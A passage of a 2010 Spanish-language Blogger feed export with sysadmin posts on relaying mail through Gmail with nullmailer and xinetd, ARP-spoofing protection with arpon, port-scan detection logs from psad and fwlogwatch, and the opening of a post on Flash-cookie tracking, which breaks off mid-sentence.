ultima comprobacion. Mostremos nuestra IP publica "torificando" a curl mediante &lt;a href="http://code.google.com/p/torsocks/"&gt;torsocks&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ sudo torsocks curl ifconfig.me&lt;br /&gt;83.170.92.9&lt;br /&gt;vlan7@sid7:~$&lt;/pre&gt;&lt;div&gt;Ahi esta el resultado esperado, ambas IPs coinciden :)&lt;/div&gt;&lt;div&gt;Suerte,&lt;/div&gt;&lt;div&gt;P.D. Desde aqui agradecer a &lt;b&gt;Vic_Thor&lt;/b&gt; de &lt;a href="http://www.wadalbertia.org"&gt;Wadalbertia&lt;/a&gt; que me notificara que se me habia colado un hash b64 sin editar, el segundo. Grave fallo que ya ha sido subsanado. Asi que ojo con lo que publicamos por ahi!&lt;/div&gt;&lt;div&gt;&lt;b&gt;Referencias:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://qmail.jms1.net/test-auth.shtml"&gt;Testing SMTP AUTH connections&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=5&amp;amp;t=4823"&gt;http://www.wadalbertia.org/foro/viewtopic.php?f=5&amp;amp;t=4823&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://urandom.ca/sslredir/man.html"&gt;pagina man de ssldir&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7995671644857126393?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7995671644857126393' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7995671644857126393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7995671644857126393'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/10/enviar-un-mail-desde-la-shell-usando.html' title='Enviar un mail anonimo desde la shell usando nuestra cuenta gmail como relay'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-6828618318061589263</id><published>2010-10-27T00:50:00.015+02:00</published><updated>2011-11-29T12:23:43.941+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><title type='text'>Implementacion de nullmailer como MTA (relay) simple</title><content type='html'>&lt;div&gt;nullmailer fue diseñado para actuar como relay simple. En mi escenario no tengo mas MTAs, asi que tengo implementado xinetd a la escucha. Cuando el trigger de nullmailer se dispara, nullmailer revisa la cola de mensajes y los reenvia mediante &lt;b&gt;nullmailer-send&lt;/b&gt; a los smarthosts definidos en &lt;b&gt;/etc/nullmailer/remotes&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ cat /etc/xinetd.d/gmail-smtp&lt;br /&gt;# default: on&lt;br /&gt;# description: Gmail SMTP wrapper for clients without SSL support&lt;br /&gt;# vlan7 26-10-2010&lt;br /&gt;# Based on:&lt;br /&gt;# Added logging capabilities &amp;amp;&amp;amp; one minor fix thanks to this guide:&lt;br /&gt;# http://www.linuxfocus.org/English/November2000/article175.shtml&lt;br /&gt;service gmail-smtp&lt;br /&gt;{&lt;br /&gt;  disable         = no&lt;br /&gt;# bind commented. Only 1 NIC on this box. Use only_from&lt;br /&gt;#    bind            = localhost&lt;br /&gt;  only_from       = localhost&lt;br /&gt;  port            = 10025&lt;br /&gt;  socket_type     = stream&lt;br /&gt;  protocol        = tcp&lt;br /&gt;  wait            = no&lt;br /&gt;  user            = root&lt;br /&gt;  server          = /usr/bin/gmail-smtp&lt;br /&gt;  type            = unlisted&lt;br /&gt;# banner breaks communication :/&lt;br /&gt;#    banner          = /etc/issue&lt;br /&gt;  log_on_failure += USERID&lt;br /&gt;}&lt;br /&gt;vlan7@sid7:~$ sudo cat /usr/bin/gmail-smtp&lt;br /&gt;#!/bin/sh&lt;br /&gt;/usr/bin/openssl s_client -connect smtp.gmail.com:465 -quiet 2&gt;/dev/null&lt;br /&gt;vlan7@sid7:~$ cat /etc/nullmailer/remotes&lt;br /&gt;127.0.0.1 smtp --port=10025 --user=XXX.YYY@gmail.com --pass=********&lt;/pre&gt;&lt;div&gt;&lt;b&gt;Atencion! El archivo /etc/nullmailer/remotes es legible para todo el mundo! Asi que ojo :/&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Comprobamos la conectividad con netcat:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;vlan7@sid7:~$ nc -vv 127.0.0.1 10025&lt;br /&gt;localhost [127.0.0.1] 10025 (?) open&lt;br /&gt;220 mx.google.com ESMTP b30sm7257373wbb.22&lt;br /&gt;HELP&lt;br /&gt;214 2.0.0 http://www.google.com/search?btnI&amp;amp;q=RFC+2821 b30sm7257373wbb.22&lt;br /&gt;QUIT&lt;br /&gt;221 2.0.0 closing connection b30sm7257373wbb.22&lt;br /&gt;sent 10, rcvd 168&lt;br /&gt;vlan7@sid7:~$&lt;/pre&gt;&lt;div&gt;&lt;b&gt;xinetd OK&lt;/b&gt;. Probemos a enviarnos un mensaje, a ver si nullmailer lo manda OK desde localhost autenticandose contra la cuenta gmail definida en &lt;b&gt;/etc/nullmailer/remotes&lt;/b&gt; y reeenviandolo a XXX@vlan7.org&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;root@sid7:/home/vlan7# echo 'Esto es un mensaje de test' |mailx XXX@vlan7.org&lt;/pre&gt;&lt;div&gt;Vemos la cola de correo:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;root@sid7:/home/vlan7# mailq&lt;br /&gt;2010-10-26 23:55:03 330 bytes from &amp;lt;root@sid7.xxx.es&amp;gt;&lt;br /&gt;to &amp;lt;xxx@vlan7.org&amp;gt;&lt;/pre&gt;&lt;div&gt;Forzamos un flush de la cola:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;root@sid7:/home/vlan7# nullmailer-send&lt;br /&gt;Rescanning queue.&lt;br /&gt;^C&lt;/pre&gt;&lt;div&gt;Comprobamos que la cola ha sido procesada y el correspondiente log de syslog:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;root@sid7:/home/vlan7# mailq&lt;br /&gt;root@sid7:/home/vlan7# tail -f /var/log/syslog&lt;br /&gt;Oct 26 23:56:09 sid7 xinetd[2208]: removing time&lt;br /&gt;Oct 26 23:56:09 sid7 xinetd[2208]: removing time&lt;br /&gt;Oct 26 23:56:09 sid7 xinetd[2208]: Swapping defaults&lt;br /&gt;Oct 26 23:56:09 sid7 xinetd[2208]: readjusting service gmail-smtp&lt;br /&gt;Oct 26 23:56:09 sid7 xinetd[2208]: Reconfigured: new=0 old=1 dropped=0 (services)&lt;br /&gt;Oct 26 23:57:03 sid7 nullmailer[2087]: Rescanning queue.&lt;br /&gt;Oct 26 23:57:03 sid7 nullmailer[2087]: Starting delivery: protocol: smtp host: 127.0.0.1 file: 1288130103.19982&lt;br /&gt;Oct 26 23:57:05 sid7 nullmailer[20012]: smtp: Succeeded: 250 2.0.0 OK 1288130224 f31sm5425073wej.15&lt;br /&gt;Oct 26 23:57:05 sid7 nullmailer[2087]: Sent file.&lt;br /&gt;Oct 26 23:57:05 sid7 nullmailer[2087]: Delivery complete, 0 message(s) remain.&lt;br /&gt;^C&lt;/pre&gt;&lt;div&gt;Segun syslog se ha enviado OK. Para comprobar que lo hemos recibido entramos en nuestro correo y ahi lo tenemos. Todo OK.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;Referencias:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://jon.sprig.gs/blog/2009/11/29/use-gmails-smtp-gateway-using-the-command-line-from-ubuntu-without-lots-of-config-tips/"&gt;http://jon.sprig.gs/blog/2009/11/29/use-gmails-smtp-gateway-using-the-command-line-from-ubuntu-without-lots-of-config-tips/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.linuxfocus.org/English/November2000/article175.shtml"&gt;http://www.linuxfocus.org/English/November2000/article175.shtml&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://xinetd.org/"&gt;http://xinetd.org&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://lists.untroubled.org/?list=nullmailer&amp;amp;cmd=showmsg&amp;amp;msgnum=283"&gt;nullmailer: Do I need a smarthost?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.feep.net/sendmail/tutorial/intro/MUA-MTA-MDA.html"&gt;MUAs, MTAs, and MDAs&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6828618318061589263?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=6828618318061589263' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6828618318061589263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6828618318061589263'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/10/implementacion-y-administracion-de_1847.html' title='Implementacion de nullmailer como MTA (relay) simple'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-5619552919648622443</id><published>2010-10-25T21:47:00.011+02:00</published><updated>2011-11-29T12:33:19.858+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Proteccion contra arp-spoofing</title><content type='html'>&lt;div&gt;Un pequeño log donde intervienen arp estaticas y su monitorizacion con &lt;a href="http://arpon.sourceforge.net/"&gt;&lt;b&gt;arpon&lt;/b&gt;&lt;/a&gt;, una buena herramienta para la proteccion de spoofing.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;root@sid7:/home/vlan7# cat /etc/network/interfaces&lt;br /&gt;# This file describes the network interfaces available on your system&lt;br /&gt;# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;# The loopback network interface&lt;br /&gt;auto lo&lt;br /&gt;iface lo inet loopback&lt;br /&gt;# The primary network interface&lt;br /&gt;allow-hotplug eth0&lt;br /&gt;iface eth0 inet static&lt;br /&gt;address 192.168.0.104&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;network 192.168.0.0&lt;br /&gt;broadcast 192.168.0.255&lt;br /&gt;#next-hop zeroshell&lt;br /&gt;gateway 192.168.0.1&lt;br /&gt;pre-up /etc/network/interfaces_sec&lt;br /&gt;post-up /usr/sbin/arp -f /etc/sarp.conf&lt;br /&gt;# dns-* options are implemented by the resolvconf package, if installed&lt;br /&gt;dns-nameservers 8.8.8.8&lt;br /&gt;root@sid7:/home/vlan7# cat /etc/resolv.conf&lt;br /&gt;nameserver 8.8.8.8&lt;br /&gt;root@sid7:/home/vlan7# netstat -nr&lt;br /&gt;Kernel IP routing table&lt;br /&gt;Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface&lt;br /&gt;192.168.0.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0&lt;br /&gt;0.0.0.0         192.168.0.1     0.0.0.0         UG        0 0          0 eth0&lt;br /&gt;root@sid7:/home/vlan7# arp -a&lt;br /&gt;? (192.168.0.1) at AA:BB:CC:DD:EE:FF [ether] PERM on eth0&lt;br /&gt;root@sid7:/home/vlan7# /etc/init.d/arpon status&lt;br /&gt;Checking status of anti ARP poisoning daemon: arpon running.&lt;br /&gt;root@sid7:/home/vlan7# cat /etc/sarp.conf&lt;br /&gt;192.168.0.1&lt;br /&gt;AA:BB:CC:DD:EE:FF&lt;br /&gt;root@sid7:/home/vlan7# cat /etc/arpon.sarpi&lt;br /&gt;# Example of arpon.sarpi&lt;br /&gt;#&lt;br /&gt;192.168.0.1&lt;br /&gt;AA:BB:CC:DD:EE:FF #zeroshell&lt;br /&gt;root@sid7:/home/vlan7# cat /var/log/arpon/arpon.log&lt;br /&gt;08:14:37 - Wait link connection on eth0...&lt;br /&gt;08:14:39 - SARPI on dev(eth0) inet(192.168.0.117) hw(FF:EE:DD:CC:BB:AA)&lt;br /&gt;08:14:39 - Protects these Arp Cache's entries:&lt;br /&gt;08:14:39 - 1)     192.168.0.1 -&amp;gt; AA:BB:CC:DD:EE:FF&lt;br /&gt;08:14:39 - Arp Cache restore from /etc/arpon.sarpi...&lt;br /&gt;08:14:39 - Arp Cache refresh timeout: 10 minuts.&lt;br /&gt;08:14:39 - Realtime Protect actived!&lt;br /&gt;08:15:52 - Request &amp;lt;&amp;lt; AA:BB:CC:DD:EE:FF&lt;br /&gt;08:15:52 - Reply   &amp;gt;&amp;gt; Send to 192.168.0.1 -&gt; AA:BB:CC:DD:EE:FF&lt;br /&gt;[cut]&lt;br /&gt;08:24:39 - Refresh these Arp Cache entries:&lt;br /&gt;08:24:39 - 1) 192.168.0.1 -&amp;gt; AA:BB:CC:DD:EE:FF&lt;br /&gt;[cut]&lt;br /&gt;vlan7@sid7:~$ sudo dpkg -l |grep arpon&lt;br /&gt;ii  arpon                                            2.0-2                                versatile anti ARP poisoning daemon&lt;br /&gt;vlan7@sid7:~$&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5619552919648622443?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=5619552919648622443' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5619552919648622443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5619552919648622443'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/10/proteccion-contra-arp-spoofing.html' title='Proteccion contra arp-spoofing'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4367953283779756283</id><published>2010-10-25T16:37:00.021+02:00</published><updated>2011-11-29T12:42:46.263+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>La rutina diaria. Ya nos han vuelto a hacer un escaneo de puertos...</title><content type='html'>&lt;div&gt;Examinando el correo enviado a traves de &lt;a href="http://untroubled.org/nullmailer/"&gt;nullmailer&lt;/a&gt;, hey no hay necesidad de montar un &lt;a href="http://www.postfix.org/"&gt;Postfix&lt;/a&gt; solo para implementar un relay, aunque pase por inet. &lt;a href="http://untroubled.org/nullmailer/"&gt;nullmailer&lt;/a&gt; se autentica, contra gmail en este caso.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Yo soy la 192.168.0.117 y soy escaneado por la 192.168.0.101, &lt;a href="http://fwlogwatch.inside-security.de/"&gt;fwlogwatch&lt;/a&gt; nos alerta de ello y recibimos el correspondiente correo electronico.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;&lt;br /&gt;fwlogwatch ALERT: 65 packet(s) from 192.168.0.101&lt;br /&gt;Recibidos&lt;br /&gt;X&lt;br /&gt;Responder&lt;br /&gt;de XXX.YYY@gmail.com&lt;br /&gt;para ZZZ@vlan7.org&lt;br /&gt;fecha 25 de octubre de 2010 15:16&lt;br /&gt;asunto fwlogwatch ALERT: 65 packet(s) from 192.168.0.101&lt;br /&gt;enviado por gmail.com&lt;br /&gt;firmado por gmail.com&lt;br /&gt;ocultar detalles 15:16 (1 hora antes)&lt;br /&gt;fwlogwatch ALERT on sid7: 65 packet(s) from 192.168.0.101 to 192.168.0.117&lt;/pre&gt;&lt;div&gt;65 paquetes enviados a &lt;a href="http://untroubled.org/nullmailer/"&gt;nullmailer&lt;/a&gt; por el SW &lt;a href="http://logcheck.org/"&gt;logcheck&lt;/a&gt;, que previamente habria recibido la alerta por &lt;a href="http://fwlogwatch.inside-security.de/"&gt;fwlogwatch&lt;/a&gt;, una herramienta que a mi me funciona muy bien con &lt;a href="http://www.shorewall.net/"&gt;Shorewall&lt;/a&gt; para examinar de un vistazo los logs importantes a nivel de seguridad.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;No me gusta publicar MACs, asi que edito parte de los eventos syslog que nos llegan al correo, dejando solo una de las lineas, ya que despues las mostraremos con un log que nos explica a mas alto nivel, por asi decirlo, todos esos eventos de syslog a nivel kernel mediante el SW &lt;a href="http://cipherdyne.org/psad/"&gt;psad&lt;/a&gt; [port scan attack detector]&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;sid7.v7.XXX.es 2010-10-25 16:02 System Events&lt;br /&gt;Recibidos&lt;br /&gt;X&lt;br /&gt;Responder&lt;br /&gt;de XXX.YYY@gmail.com&lt;br /&gt;para ZZZ@vlan7.org&lt;br /&gt;fecha 25 de octubre de 2010 16:02&lt;br /&gt;asunto sid7.v7.XXX.es 2010-10-25 16:02 System Events&lt;br /&gt;enviado por gmail.com&lt;br /&gt;firmado por gmail.com&lt;br /&gt;ocultar detalles 16:02 (24 minutos antes)&lt;br /&gt;This email is sent by logcheck. If you no longer wish to receive&lt;br /&gt;such mail, you can either deinstall the logcheck package or modify&lt;br /&gt;its configuration file (/etc/logcheck/logcheck.conf).&lt;br /&gt;&lt;br /&gt;System Events&lt;br /&gt;=-=-=-=-=-=-=&lt;br /&gt;Oct 25 15:16:19 sid7 kernel: [104761.341511] Shorewall:net2fw:DROP:IN=eth0 OUT= MAC=[CUT] SRC=192.168.0.101 DST=192.168.0.117 LEN=40 TOS=0x00 PREC=0x00 TTL=127 ID=61700 PROTO=TCP SPT=63436 DPT=10 WINDOW=8190 RES=0x00 SYN URGP=0&lt;br /&gt;&lt;br /&gt;[CUT]&lt;br /&gt;&lt;br /&gt;Oct 25 15:16:20 sid7 fwlogwatch: ALERT: 65 attempts from 192.168.0.101&lt;br /&gt;Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "POLICY HP JetDirect LCD commnication attempt" (sid: 568) tcp port: 9100&lt;br /&gt;Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "MISC VNC communication attempt" (sid: 100202) tcp port: 5900&lt;br /&gt;Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "MISC MS Terminal Server communication attempt" (sid: 100077) tcp port: 3389&lt;br /&gt;Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "DOS MSDTC communication attempt" (sid: 1408) tcp port: 3372&lt;br /&gt;Oct 25 15:16:38 sid7 psad: src: 192.168.0.101 signature match: "MISC Microsoft SQL Server communication attempt" (sid: 100205) tcp port: 1433&lt;br /&gt;Oct 25 15:16:38 sid7 psad: scan detected: 192.168.0.101 -&amp;gt; 192.168.0.117 tcp: [10-10000] flags: SYN tcp pkts: 68 DL: 2&lt;/pre&gt;&lt;div&gt;Todas las herramientas nombradas las he podido testear en un sistema corriendo Debian SID. Durante toda la entrada he enlazado las paginas oficiales de los proyectos, pero todos ellos se encuentran empaquetados en los repositorios oficiales de Debian, al menos en la rama sid. Para mas informacion siempre podremos acudir al &lt;a href="http://www.debian.org/distrib/packages#search_packages"&gt;buscador oficial de Debian&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Comentar que &lt;a href="http://cipherdyne.org/psad/"&gt;psad&lt;/a&gt; utiliza firmas del conocido IDS &lt;a href="http://www.snort.org"&gt;Snort&lt;/a&gt; y del venerable &lt;a href="http://lcamtuf.coredump.cx/p0f.shtml"&gt;p0f&lt;/a&gt;. De vez en cuando puedo observar mensajes de syslog tal que asi:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;Oct 25 21:29:44 sid7 psad: imported valid icmp types and codes&lt;br /&gt;Oct 25 21:29:44 sid7 psad: imported p0f-based passive OS fingerprinting signatures&lt;br /&gt;Oct 25 21:29:44 sid7 psad: imported TOS-based passive OS fingerprinting signatures&lt;br /&gt;Oct 25 21:29:44 sid7 psad: imported original Snort rules in /etc/psad/snort_rules/ for reference info&lt;br /&gt;Oct 25 21:29:44 sid7 psad: imported 205 psad Snort signatures from /etc/psad/signatures&lt;/pre&gt;&lt;div&gt;A continuacion vemos un informe mas detallado en otro log similar recibido en mi correo y enviado por psad. Veremos que el FW descarta y loguea un total de 204 paquetes, que esta vez yo soy la IP 192.168.0.104 y el atacante es la 192.168.0.110 y que las caracteristicas de este log son muy similares a las del anterior, si no identicas, en las firmas detectadas por el IDS. Dos intentos de autenticacion, un intento de DoS y unos pocos sin catalogar. Todos ellos contra servicios inexistentes en mi maquina.&lt;/div&gt;&lt;div&gt;Este es el log recibido en el correo:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;[psad-alert] DL3 src: 192.168.0.110 dst: 192.168.0.104&lt;br /&gt;Recibidos  X&lt;br /&gt;  &lt;br /&gt;Responder&lt;br /&gt;&lt;br /&gt;XXX.YYY@gmail.com para usuario &lt;br /&gt;mostrar detalles 01:28 (1 hora antes) &lt;br /&gt;&lt;br /&gt;=-=-=-=-=-=-=-=-=-=-=-= Sun Oct 31 01:28:40 2010 =-=-=-=-=-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      Danger level: [3] (out of 5)&lt;br /&gt;&lt;br /&gt; Scanned TCP ports: [10-10000: 204 packets]&lt;br /&gt;         TCP flags: [SYN: 204 packets, Nmap: -sT or -sS]&lt;br /&gt;    iptables chain: INPUT (prefix "Shorewall:net2fw:DROP:"), 204 packets&lt;br /&gt;&lt;br /&gt;            Source: 192.168.0.110&lt;br /&gt;               DNS: [No reverse dns info available]&lt;br /&gt;&lt;br /&gt;       Destination: 192.168.0.104&lt;br /&gt;               DNS: [No reverse dns info available]&lt;br /&gt;&lt;br /&gt;Overall scan start: Sun Oct 31 01:28:29 2010&lt;br /&gt;Total email alerts: 1&lt;br /&gt;Complete TCP range: [10-10000]&lt;br /&gt;   Syslog hostname: sid7&lt;br /&gt;&lt;br /&gt;      Global stats: chain:   interface:   TCP:   UDP:   ICMP:&lt;br /&gt;                    INPUT    eth0         204    0      0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[+] TCP scan signatures:&lt;br /&gt;&lt;br /&gt;"POLICY HP JetDirect LCD commnication attempt"&lt;br /&gt;    dst port:  9100 (no server bound to local port)&lt;br /&gt;    flags:     SYN&lt;br /&gt;    sid:       568&lt;br /&gt;    chain:     INPUT&lt;br /&gt;    packets:   3&lt;br /&gt;    classtype: misc-activity&lt;br /&gt;&lt;br /&gt;"MISC VNC communication attempt"&lt;br /&gt;    dst port:  5900 (no server bound to local port)&lt;br /&gt;    flags:     SYN&lt;br /&gt;    psad_id:   100202&lt;br /&gt;    chain:     INPUT&lt;br /&gt;    packets:   3&lt;br /&gt;    classtype: attempted-admin&lt;br /&gt;&lt;br /&gt;"MISC MS Terminal Server communication attempt"&lt;br /&gt;    dst port:  3389 (no server bound to local port)&lt;br /&gt;    flags:     SYN&lt;br /&gt;    psad_id:   100077 (derived from: 1447 1448 2418)&lt;br /&gt;    chain:     INPUT&lt;br /&gt;    packets:   3&lt;br /&gt;    classtype: misc-activity&lt;br /&gt;&lt;br /&gt;"DOS MSDTC communication attempt"&lt;br /&gt;    dst port:  3372 (no server bound to local port)&lt;br /&gt;    flags:     SYN&lt;br /&gt;    sid:       1408&lt;br /&gt;    chain:     INPUT&lt;br /&gt;    packets:   3&lt;br /&gt;    classtype: attempted-dos&lt;br /&gt;&lt;br /&gt;"MISC Microsoft SQL Server communication attempt"&lt;br /&gt;    dst port:  1433 (no server bound to local port)&lt;br /&gt;    flags:     SYN&lt;br /&gt;    psad_id:   100205&lt;br /&gt;    chain:     INPUT&lt;br /&gt;    packets:   3&lt;br /&gt;    classtype: attempted-admin&lt;br /&gt;&lt;br /&gt;[+] Whois Information (source IP):&lt;br /&gt;[cut]&lt;/pre&gt;&lt;div&gt;Recibo un total de &lt;b&gt;4&lt;/b&gt; mails de este tipo, enviados los &lt;b&gt;4&lt;/b&gt; de golpe en un flush de la cola de correo segun puedo comprobar en los logs de syslog, que son irrelevantes para esta entrada. Si que tengo pendiente analizar el siguiente log de &lt;b&gt;/var/log/messages&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;Oct 31 02:01:29 sid7 kernel: [  174.732092] martian destination 0.0.0.0 from 192.168.0.110, dev eth0&lt;br /&gt;Oct 31 02:01:29 sid7 kernel: [  174.812241] martian destination 0.0.0.0 from 192.168.0.110, dev eth0&lt;br /&gt;Oct 31 02:01:29 sid7 kernel: [  174.892391] martian destination 0.0.0.0 from 192.168.0.110, dev eth0&lt;br /&gt;Oct 31 02:01:29 sid7 kernel: [  174.972541] martian destination 0.0.0.0 from 192.168.0.110, dev eth0&lt;br /&gt;Oct 31 02:01:30 sid7 kernel: [  176.068854] martian destination 0.0.0.0 from 192.168.0.110, dev eth0&lt;br /&gt;Oct 31 02:01:30 sid7 kernel: [  176.149009] martian destination 0.0.0.0 from 192.168.0.110, dev eth0&lt;br /&gt;Oct 31 02:01:30 sid7 kernel: [  176.229154] martian destination 0.0.0.0 from 192.168.0.110, dev eth0&lt;br /&gt;Oct 31 02:01:30 sid7 kernel: [  176.309299] martian destination 0.0.0.0 from 192.168.0.110, dev eth0&lt;/pre&gt;&lt;div&gt;Si alguien conoce alguna alternativa a estos paquetes open source para detectar un escaneo de puertos se agradecen comentarios.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Suerte,&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4367953283779756283?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4367953283779756283' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4367953283779756283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4367953283779756283'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/10/la-rutina-diaria-ya-nos-han-vuelto_25.html' title='La rutina diaria. Ya nos han vuelto a hacer un escaneo de puertos...'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4564822223807399629</id><published>2010-09-20T05:08:00.007+02:00</published><updated>2012-01-26T18:30:05.946+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cookies'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>El peligro de las [flash]-cookies</title><content type='html'>&lt;div&gt;Examinando con la genial extension &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/3829/"&gt;&lt;b&gt;Live HTTP Headers&lt;/b&gt;&lt;/a&gt; lo que mandaba mi navegador a una web determinada, me encontre con lo siguiente:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;POST /mochiSWF Referer: http://mochibot.com/my/core.swf?mv=5&amp;fv=7&amp;v=LNX%2010%2C1%2C82%2C76&amp;swfid=46030122&amp;l=10301&amp;f=_level0&amp;sb=remote&lt;br /&gt;&lt;br /&gt; Content-Type: application/x-www-form-urlencoded&lt;br /&gt;&lt;br /&gt; Content-Length: 766&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; %5F%5Fmochibot=%5Btype+Function%5D&amp;TAG=46030122&amp;SV=7&amp;MV=5&amp;REF=&amp;sb=remote&amp;f=%5Flevel0&amp;l=10301&amp;swfid=46030122&amp;v=LNX+10%2C1%2C82%2C76&amp;fv=7&amp;mv=5&amp;lv=%5Flevel0%2E%5F%5Fmochibot%5F%5F46030122%2Elv&amp;GUID=ebda978824f0903ca606498e5d96d3d5&amp;SH=32&amp;SW=1072&amp;T=4756&amp;TZ=%2D120&amp;URL=...&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;Todo eso estaba mandando mi navegador al servidor de mochibot, de forma totalmente transparente para 